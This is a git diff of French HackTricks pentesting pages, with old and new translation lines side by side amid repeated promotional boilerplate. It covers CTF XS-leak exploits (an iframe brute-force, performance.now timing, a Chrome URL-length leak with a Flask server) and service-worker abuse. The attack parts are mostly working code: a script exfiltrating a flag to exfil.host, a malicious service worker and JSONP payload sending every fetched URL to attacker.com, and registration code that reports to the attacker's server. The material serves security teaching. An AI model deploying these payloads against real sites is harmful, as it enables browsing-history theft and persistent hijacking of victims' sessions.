* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}
```javascript
// Code that will try ${guess} as flag (need rest of the server code
app.get('/guessing', function(req, res) {
@ -30,7 +33,7 @@ window.parent.foo()
res.send(page)
});
```
Page principale qui génère des iframes vers la page précédente `/guessing` pour tester chaque possibilité
Page principale qui génère des iframes vers la page `/guessing` précédente pour tester chaque possibilité
```html
<html>
<head>
@ -75,14 +78,17 @@ hack.innerHTML = iframe
</div>
</html>
```
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Soutenir HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}

View file

@ -1,23 +1,26 @@
# performance.now + Force heavy task
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Soutenir HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}
**Exploit tiré de [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
**Exploitation tirée de [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
Dans ce défi, l'utilisateur pouvait envoyer des milliers de caractères et si le drapeau était contenu, les caractères seraient renvoyés au bot. Ainsi, en envoyant une grande quantité de caractères, l'attaquant pouvait mesurer si le drapeau était contenu dans la chaîne envoyée ou non.
Dans ce défi, l'utilisateur pouvait envoyer des milliers de caractères et si le drapeau était contenu, les caractères seraient renvoyés au bot. En envoyant une grande quantité de caractères, l'attaquant pouvait mesurer si le drapeau était contenu dans la chaîne envoyée ou non.
{% hint style="warning" %}
Initialement, je n'ai pas défini la largeur et la hauteur de l'objet, mais plus tard, j'ai trouvé que c'était important car la taille par défaut est trop petite pour faire une différence dans le temps de chargement.
Au départ, je n'avais pas défini la largeur et la hauteur de l'objet, mais plus tard, j'ai découvert qu'il était important de le faire car la taille par défaut est trop petite pour faire une différence dans le temps de chargement.
{% endhint %}
```html
<!DOCTYPE html>
@ -114,14 +117,17 @@ main()
</html>
```
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Soutenir HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PRs au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Exemple de performance.now
# performance.now exemple
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Soutenir HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PRs au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}
**Exemple tiré de [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
```javascript
@ -54,14 +57,17 @@ new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
document.addEventListener('DOMContentLoaded', main);
```
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Soutenir HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PRs au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Longueur maximale de l'URL - Côté client
# Longueur Max de l'URL - Côté Client
{% hint style="success" %}
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS HackTricks)</strong></a><strong>!</strong></summary>
<summary>Soutenir HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}
Code de [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
```html
@ -78,14 +81,17 @@ return open('exploit.html', 'r').read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
```
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Soutenir HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PRs au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# Abus des Travailleurs de Service
# Abusing Service Workers
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en Équipe Rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PRs au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Groupe de Sécurité Try Hard**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -22,34 +23,33 @@
***
## Informations de Base
## Basic Information
Un **travailleur de service** est un script exécuté par votre navigateur en arrière-plan, séparé de toute page web, permettant des fonctionnalités qui ne nécessitent pas une page web ou une interaction utilisateur, améliorant ainsi les capacités de **traitement hors ligne et en arrière-plan**. Des informations détaillées sur les travailleurs de service peuvent être trouvées [ici](https://developers.google.com/web/fundamentals/primers/service-workers). En exploitant les travailleurs de service dans un domaine web vulnérable, les attaquants peuvent prendre le contrôle des interactions de la victime avec toutes les pages de ce domaine.
Un **service worker** est un script exécuté par votre navigateur en arrière-plan, séparé de toute page web, permettant des fonctionnalités qui ne nécessitent pas de page web ou d'interaction utilisateur, améliorant ainsi les capacités de **traitement hors ligne et en arrière-plan**. Des informations détaillées sur les service workers peuvent être trouvées [ici](https://developers.google.com/web/fundamentals/primers/service-workers). En exploitant les service workers dans un domaine web vulnérable, les attaquants peuvent prendre le contrôle des interactions de la victime avec toutes les pages de ce domaine.
### Checking for Existing Service Workers
### Vérification des Travailleurs de Service Existants
Les service workers existants peuvent être vérifiés dans la section **Service Workers** de l'onglet **Application** dans les **Outils de développement**. Une autre méthode consiste à visiter [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) pour une vue plus détaillée.
Les travailleurs de service existants peuvent être vérifiés dans la section **Travailleurs de Service** de l'onglet **Application** dans les **Outils de Développement**. Une autre méthode consiste à visiter [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) pour une vue plus détaillée.
### Push Notifications
### Notifications Push
Les **permissions de notification push** impactent directement la capacité d'un **service worker** à communiquer avec le serveur sans interaction directe de l'utilisateur. Si les permissions sont refusées, cela limite le potentiel du service worker à poser une menace continue. À l'inverse, accorder des permissions augmente les risques de sécurité en permettant la réception et l'exécution d'exploits potentiels.
Les **autorisations de notification push** impactent directement la capacité d'un **travailleur de service** à communiquer avec le serveur sans interaction directe de l'utilisateur. Si les autorisations sont refusées, cela limite le potentiel du travailleur de service à poser une menace continue. En revanche, accorder des autorisations augmente les risques de sécurité en permettant la réception et l'exécution d'exploitations potentielles.
## Attaque Créant un Travailleur de Service
## Attack Creating a Service Worker
Pour exploiter cette vulnérabilité, vous devez trouver :
* Un moyen de **télécharger des fichiers JS arbitraires** sur le serveur et un **XSS pour charger le travailleur de service** du fichier JS téléchargé
* Une **requête JSONP vulnérable** où vous pouvez **manipuler la sortie (avec du code JS arbitraire)** et un **XSS** pour **charger le JSONP avec une charge utile** qui **chargera un travailleur de service malveillant**.
* Un moyen de **télécharger des fichiers JS arbitraires** sur le serveur et un **XSS pour charger le service worker** du fichier JS téléchargé
* Une **requête JSONP vulnérable** où vous pouvez **manipuler la sortie (avec du code JS arbitraire)** et un **XSS** pour **charger le JSONP avec un payload** qui **chargera un service worker malveillant**.
Dans l'exemple suivant, je vais présenter un code pour **enregistrer un nouveau travailleur de service** qui écoutera l'événement `fetch` et **enverra au serveur des attaquants chaque URL récupérée** (c'est le code dont vous auriez besoin de **télécharger** sur le **serveur** ou de charger via une réponse **JSONP vulnérable**):
Dans l'exemple suivant, je vais présenter un code pour **enregistrer un nouveau service worker** qui écoutera l'événement `fetch` et **enverra au serveur des attaquants chaque URL récupérée** (c'est le code que vous devez **télécharger** sur le **serveur** ou charger via une **réponse JSONP vulnérable**) :
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```
Et voici le code qui va **enregistrer le worker** (le code que vous devriez pouvoir exécuter en abusant d'un **XSS**). Dans ce cas, une requête **GET** sera envoyée au serveur des **attaquants** pour **notifier** si l'**enregistrement** du service worker a réussi ou non:
Et voici le code qui va **enregistrer le worker** (le code que vous devriez être en mesure d'exécuter en abusant d'un **XSS**). Dans ce cas, une requête **GET** sera envoyée au serveur des **attaquants** **notifiant** si l'**enregistrement** du service worker a réussi ou non :
```javascript
<script>
window.addEventListener('load', function() {
@ -67,17 +67,17 @@ xhttp2.send();
});
</script>
```
En cas d'abus d'un point de terminaison JSONP vulnérable, vous devez placer la valeur à l'intérieur de `var sw`. Par exemple:
Dans le cas d'abuser d'un point de terminaison JSONP vulnérable, vous devez mettre la valeur à l'intérieur de `var sw`. Par exemple :
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
Il existe un **C2** dédié à l'**exploitation des Service Workers** appelé [**Shadow Workers**](https://shadow-workers.github.io) qui sera très utile pour abuser de ces vulnérabilités.
La directive de **cache de 24 heures** limite la durée de vie d'un **service worker (SW)** malveillant ou compromis à au plus 24 heures après la correction d'une vulnérabilité XSS, en supposant un statut client en ligne. Pour minimiser la vulnérabilité, les opérateurs de site peuvent réduire le Time-To-Live (TTL) du script SW. Les développeurs sont également invités à créer un [**interrupteur d'arrêt du service worker**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) pour une désactivation rapide.
La **directive de cache de 24 heures** limite la durée de vie d'un **service worker (SW)** malveillant ou compromis à au maximum 24 heures après la correction d'une vulnérabilité XSS, en supposant un statut client en ligne. Pour minimiser la vulnérabilité, les opérateurs de site peuvent réduire le Temps de Vie (TTL) du script SW. Il est également conseillé aux développeurs de créer un [**kill-switch pour le service worker**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) pour une désactivation rapide.
## Abus de `importScripts` dans un SW via le DOM Clobbering
## Abuser de `importScripts` dans un SW via DOM Clobbering
La fonction **`importScripts`** appelée depuis un Service Worker peut **importer un script depuis un domaine différent**. Si cette fonction est appelée en utilisant un **paramètre qu'un attaquant pourrait** modifier, il pourrait **importer un script JS depuis son domaine** et obtenir une XSS.
La fonction **`importScripts`** appelée depuis un Service Worker peut **importer un script d'un domaine différent**. Si cette fonction est appelée en utilisant un **paramètre que l'attaquant pourrait** modifier, il serait capable d'**importer un script JS de son domaine** et d'obtenir XSS.
**Cela contourne même les protections CSP.**
@ -105,28 +105,31 @@ Pour plus d'informations sur ce qu'est le DOM Clobbering, consultez :
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
Si l'URL/domaine utilisé par le SW pour appeler **`importScripts`** est **à l'intérieur d'un élément HTML**, il est **possible de le modifier via le DOM Clobbering** pour que le SW **charge un script depuis votre propre domaine**.
Si l'URL/domaine que le SW utilise pour appeler **`importScripts`** est **à l'intérieur d'un élément HTML**, il est **possible de le modifier via le DOM Clobbering** pour faire en sorte que le SW **charge un script de votre propre domaine**.
Pour un exemple, consultez le lien de référence.
Pour un exemple de cela, consultez le lien de référence.
## Références
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
**Groupe de sécurité Try Hard**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
